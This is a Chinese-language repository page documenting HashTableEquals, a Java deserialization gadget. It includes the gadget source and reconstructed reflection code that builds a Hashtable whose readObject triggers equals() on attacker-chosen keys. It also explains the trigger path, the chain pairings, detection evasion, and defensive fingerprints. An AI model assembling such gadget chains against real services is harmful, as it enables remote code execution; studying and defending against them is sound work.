Skip to content

Latest commit

 

History

History
144 lines (112 loc) · 11.1 KB

File metadata and controls

144 lines (112 loc) · 11.1 KB

HashTable#readObject() 调用 equals()(HashTableEquals)

  • 类别:common 别名:— 优先级:—(未设置)
  • 辅助逻辑com.ar3h.chains.common.util.PayloadHelper#table2equals(位于 chains-common-1.4.4.jar,未随 反编译,本文由字节码反汇编还原)
  • 作者:—
  • 依赖:无第三方依赖(纯 JDK;java.util.Hashtable + java.util.Hashtable$Entry
  • 状态@Deprecated(作者已标注弃用,仍可作为 Equals 跳板研究)

作用

一句话:构造一个内部持有两个「哈希冲突键」的 java.util.Hashtable,使其在 Java 原生反序列化(Hashtable.readObject)重建条目时对两个键调用 key1.equals(key2),从而把「原生反序列化」转接到「任意对象的 equals()」这一跳板上。它是 HashMapEquals / ConcurrentHashMapEquals / HotSTSourceEquals 这一族 equals 跳板中以 Hashtable 为载体的实现。

链接标签

  • 入口 tagsJavaNativeDeserialize —— 承接 Java 原生反序列化入口(ObjectInputStream.readObject)。作为链的中段,它的产物是一个可直接被原生反序列化触发的 Hashtable
  • 衔接 nextTagsEquals —— 之后必须接一个「提供 equals 触发对」的 gadget。下游 invoke 返回一个 两元素 Object[],本 gadget 把这两个元素塞进 Hashtable 当键;下游负责让 objects[0].equals(objects[1]) 落到真正的 sink(如 XString.equals → toString)。
  • excludes:无。

源码剖析

1. gadget 外壳(HashTableEquals.java,来自 )

@GadgetTags(tags={"JavaNativeDeserialize"}, nextTags={"Equals"})
@GadgetAnnotation(name="HashTable#readObject()调用equals()方法,注意在调用equals方法之前会调用到包装对象hashCode方法,所以需要保证对象调用hashCode不能出现问题")
@Deprecated
public class HashTableEquals implements Gadget {
    public Object getObject(Object obj1, Object obj2) throws Exception {
        return PayloadHelper.table2equals(obj1, obj2);
    }

    @Override
    public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
        Object[] objects = (Object[])chain.doCreate(context);                 // 下游 Equals gadget 交回的 [obj1, obj2] 对
        Object getterObject = context.get(ContextTag.FASTJSON_HANDLE_BYPASS_KEY);
        Object resultObject = this.getObject(objects[0], objects[1]);         // 构造 Hashtable
        if (getterObject != null) {
            return CommonMethod.listWrap(getterObject, resultObject);         // fastjson 场景下额外包一层 List
        }
        return resultObject;
    }
}

逐段解释:

  • chain.doCreate(context) 取回内层对象,并强制转型为 Object[]——这是本族 gadget 的硬约定:其 nextTags=Equals 的下游必须返回长度为 2 的数组 {obj1, obj2}(可对照 tostring 类的 XStringToString1:其 invoke 正是 return new Object[]{obj1, obj2};)。
  • objects[0] 是「等号左侧」的判等载体(例如 XString("")),objects[1] 是真正想触发其方法的目标对象。
  • getObject(obj1, obj2) 委托给 PayloadHelper.table2equals 完成 Hashtable 组装。
  • FASTJSON_HANDLE_BYPASS_KEY 分支:当上下文中存在 fastjson 处理句柄时,用 CommonMethod.listWrap[getterObject, resultObject] 装进 ArrayList 一并返回(listWrap 反汇编即 new ArrayList(); add(a); add(b); return list;),供 fastjson 触发链衔接;纯原生反序列化场景该分支不进入。

2. 核心:PayloadHelper.table2equals(据字节码反汇编还原)

PayloadHelper 不在 中,以下 Java 等价代码由 chains-common-1.4.4.jartable2equals 的字节码(javap -c)逐条还原:

public static Hashtable table2equals(Object obj1, Object obj2) throws Exception {
    Hashtable table = new Hashtable();
    // 直接把 count 篡改为 2,使 writeObject 声明有 2 个条目待写出
    Reflections.setFieldValue(table, "count", Integer.valueOf(2));

    Class<?> entryClass = Class.forName("java.util.Hashtable$Entry");
    // Hashtable$Entry(int hash, Object key, Object value, Entry next)
    Constructor<?> ctor = entryClass.getDeclaredConstructor(
            int.class, Object.class, Object.class, entryClass);
    ctor.setAccessible(true);

    Object tab = Array.newInstance(entryClass, 2);                 // Entry[2]
    // 两个条目 hash 字段都写 0、next 都为 null;键分别是 obj1 / obj2
    Array.set(tab, 0, ctor.newInstance(0, obj1, "Unam4",      null));
    Array.set(tab, 1, ctor.newInstance(0, obj2, "Springkill", null));

    Reflections.setFieldValue(table, "table", tab);               // 反射注入底层桶数组
    return table;
}

关键点:

  • 用反射直接把两个 Hashtable$Entry(键=obj1/obj2,值=占位串 "Unam4"/"Springkill")写进 table 数组,并把 count 置为 2。构造期不经过 Hashtable.put,因此构造阶段不会触发 equalsput 会调用 hashCode/equals,正常构造会当场爆链)。
  • 条目里那个写死的 hash=0 字段不会被序列化Hashtable.writeObject 只写出 lengthcount 以及每个条目的 keyvalue 对象,hashnext 不入流。因此真正决定「是否触发 equals」的是反序列化端重新计算的 key.hashCode()

3. 触发时机:Hashtable.readObject → reconstitutionPut(JDK 源码机理)

反序列化端(JDK java.util.Hashtable)大致流程:

private void readObject(ObjectInputStream s) ... {
    ...
    for (; elements > 0; elements--) {
        K key   = (K) s.readObject();      // 依次读回 obj1、obj2
        V value = (V) s.readObject();
        reconstitutionPut(table, key, value);
    }
}
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value) ... {
    int hash = key.hashCode();                       // ← 先调用 key.hashCode()
    int index = (hash & 0x7FFFFFFF) % tab.length;
    for (Entry<?,?> e = tab[index]; e != null; e = e.next) {
        if ((e.hash == hash) && e.key.equals(key)) { // ← 同桶冲突时调用 equals()
            throw new java.io.StreamCorruptedException();
        }
    }
    ...
}
  • 第一次 put(obj1) 只登记,不比较。
  • 第二次 put(obj2):先算 obj2.hashCode(),落桶;若与已在同一桶中的 obj1 哈希冲突obj1.hashCode()obj2.hashCode() 落到同一 index),则执行 e.key.equals(key),即 obj1.equals(obj2) —— sink 正式触发。

这解释了注解里的告警「在调用 equals 方法之前会调用到包装对象 hashCode 方法,所以需要保证对象调用 hashCode 不能出现问题」:

  1. reconstitutionPut 会先对键调用 hashCode(),若下游对象的 hashCode() 抛异常或有副作用,链在到达 equals 前就断了;
  2. 两个键必须哈希冲突到同一桶,equals 才会被调用——这是本 gadget 相对 HotSTSourceEquals关键差异HotSTSourceEquals 会把两个对象各自包进 HotSwappableTargetSource(其 hashCode 恒定、equals 安全可控),从而规避 hashCode 抖动;而 HashTableEquals 直接拿原始对象当键,要求调用方自行保证下游对象的 hashCode 良性且可冲突(典型如 XString,其 hashCode 稳定、不外溢)。

参数(@Param)

本 gadget 无 @Paramparams 为空)。行为完全由链上下游决定:obj1/obj2 来自下游 Equals gadget,条目占位值 "Unam4"/"Springkill"count=2 为固定实现细节,用户不可配。

适用版本与原理要点

  • 无版本依赖:仅用 java.util.Hashtable 及其私有内部类 Hashtable$Entry、私有字段 count/table,各主流 JDK(8/11/17+)均具备;Hashtable.readObject/reconstitutionPut 的语义长期稳定。反射对私有字段/构造器的访问在启用强封装的 JDK(17+ 无 --add-opens)上可能受 setAccessible 限制,但这属于攻击端构造 payload 时的环境要求,不影响 payload 本身的可反序列化性。
  • 纯跳板、不含 sink:本条自身不产生任意代码执行,仅把 readObject 转接到 equals。最终效果取决于下游 Equals→... 链(常见续接 XString.equals → 任意对象 toString,再接 ToString 类 sink)。
  • 与同族的取舍HashTableEquals / HashMapEquals / ConcurrentHashMapEquals 三者结构几乎一致(分别落到 PayloadHelper.table2equals / makeMap / concurrentmap2equals),区别只是承载容器;HotSTSourceEquals 额外用 HotSwappableTargetSource 包裹以稳住 hashCode/equals。选择 Hashtable 版的动机通常是绕过对 HashMap 的针对性检测,或目标环境对 Hashtable 序列化指纹更宽松。
  • @Deprecated:作者已弃用本实现,实际预设链中未采用(见下)。

所属预设链

usedInChains 为空——自由构件,未直接出现在 51 条预设链中。可按 JavaNativeDeserialize → Equals → ... 手工组合,作为原生反序列化到 equals 跳板的替代载体。

关联

  • 下游(nextTags=Equals,提供 Object[]{obj1,obj2} 判等对)
    • XStringToString1 / XStringToString2 / XStringToString3、XalanXStringToString1~3 —— XString.equals → 目标.toString(),最经典续接。
    • AudioFileFormat、AudioFormat —— 以 equals 触发的 ToString 载体。
    • RomeEqualsBean1 / RomeEqualsBean2(hessian 类)—— equals 后接 JdbcRowSetImpl/Templates 等子链。
  • 同族替代(同为 JavaNativeDeserialize → EqualsHashMapEqualsConcurrentHashMapEqualsHotSTSourceEquals、Rdn(Rdn$RdnEntryEquals)。
  • 上游(入口):任意 Java 原生反序列化入口(ObjectInputStream.readObject),见 JavaNativeDeserialize 标签族。

防御与检测

  • 序列化指纹:流中出现 java.util.Hashtable,且其条目的 key 为 com.sun.org.apache.xpath.internal.objects.XStringjavax.sound.sampled.AudioFileFormatorg.springframework.aop.target.HotSwappableTargetSource 等「非业务判等载体」时高度可疑;Hashtable 内嵌两个哈希冲突键更是 equals 跳板的典型形态。
  • 调用栈特征:运行期若见 Hashtable.reconstitutionPut → XString.equals → *.toString(或 HotSwappableTargetSource.equals)栈帧,即为本类链条被触发的直接证据。
  • 加固建议
    • 反序列化入口启用类白名单/黑名单(如 ObjectInputFilter / JEP 290),拦截 Hashtable 之外并封堵 XStringAudioFileFormatHotSwappableTargetSourceTemplatesImpl 等常见 sink 载体。
    • 从根本上避免对不可信数据做原生反序列化;确需时改用带类型校验的安全编解码。
    • JDK 17+ 默认强封装(不额外 --add-opens java.base/java.util=ALL-UNNAMED)会削弱对 Hashtable 私有字段的反射构造,可作为纵深防御的一环,但不应作为唯一防线。